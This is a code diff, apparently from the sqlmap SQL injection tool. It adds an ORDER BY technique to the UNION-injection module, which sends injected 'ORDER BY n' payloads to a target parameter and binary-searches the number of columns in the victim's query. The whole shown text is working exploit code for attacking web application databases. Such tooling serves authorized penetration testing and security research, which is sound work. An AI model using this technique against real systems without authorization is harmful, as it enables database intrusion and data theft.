2121from lib .core .common import listToStrValue
2222from lib .core .common import popValue
2323from lib .core .common import pushValue
24+ from lib .core .common import randomInt
2425from lib .core .common import randomStr
2526from lib .core .common import removeReflectiveValues
27+ from lib .core .common import singleTimeLogMessage
2628from lib .core .common import singleTimeWarnMessage
2729from lib .core .common import stdev
2830from lib .core .common import wasLastRequestDBMSError
3941from lib .core .settings import MAX_RATIO
4042from lib .core .settings import MIN_STATISTICAL_RANGE
4143from lib .core .settings import MIN_UNION_RESPONSES
44+ from lib .core .settings import ORDER_BY_STEP
4245from lib .core .unescaper import unescaper
4346from lib .parse .html import htmlParser
4447from lib .request .comparison import comparison
@@ -50,11 +53,53 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where
5053 """
5154 retVal = None
5255
56+ def __orderByTechnique ():
57+ def __orderByTest (cols ):
58+ query = agent .prefixQuery ("ORDER BY %d" % cols , prefix = prefix )
59+ query = agent .suffixQuery (query , suffix = suffix , comment = comment )
60+ payload = agent .payload (newValue = query , place = place , parameter = parameter , where = where )
61+ page , _ = Request .queryPage (payload , place = place , content = True , raise404 = False )
62+ return not re .search (r"((warning|error)[^\n]*order)|(order by)" , page or "" , re .I )
63+
64+ if __orderByTest (1 ) and not __orderByTest (randomInt ()):
65+ infoMsg = "ORDER BY technique seems to be usable. "
66+ infoMsg += "this should dramatically reduce the "
67+ infoMsg += "time needed to find the right number "
68+ infoMsg += "of query columns. Automatically extending the "
69+ infoMsg += "range for UNION query injection technique"
70+ singleTimeLogMessage (infoMsg )
71+
72+ lowCols , highCols = 1 , ORDER_BY_STEP
73+ found = None
74+ while not found :
75+ if __orderByTest (highCols ):
76+ lowCols = highCols
77+ highCols += ORDER_BY_STEP
78+ else :
79+ while not found :
80+ mid = highCols - (highCols - lowCols ) / 2
81+ if __orderByTest (mid ):
82+ lowCols = mid
83+ else :
84+ highCols = mid
85+ if (highCols - lowCols ) < 2 :
86+ found = lowCols
87+
88+ return found
89+
5390 pushValue (kb .errorIsNone )
5491 items , ratios = [], []
5592 kb .errorIsNone = False
5693 lowerCount , upperCount = conf .uColsStart , conf .uColsStop
5794
95+ if lowerCount == 1 :
96+ found = kb .orderByColumns or __orderByTechnique ()
97+ if found :
98+ kb .orderByColumns = found
99+ infoMsg = "target url appears to have %d columns in query" % found
100+ singleTimeLogMessage (infoMsg )
101+ return found
102+
58103 if abs (upperCount - lowerCount ) < MIN_UNION_RESPONSES :
59104 upperCount = lowerCount + MIN_UNION_RESPONSES
60105
0 commit comments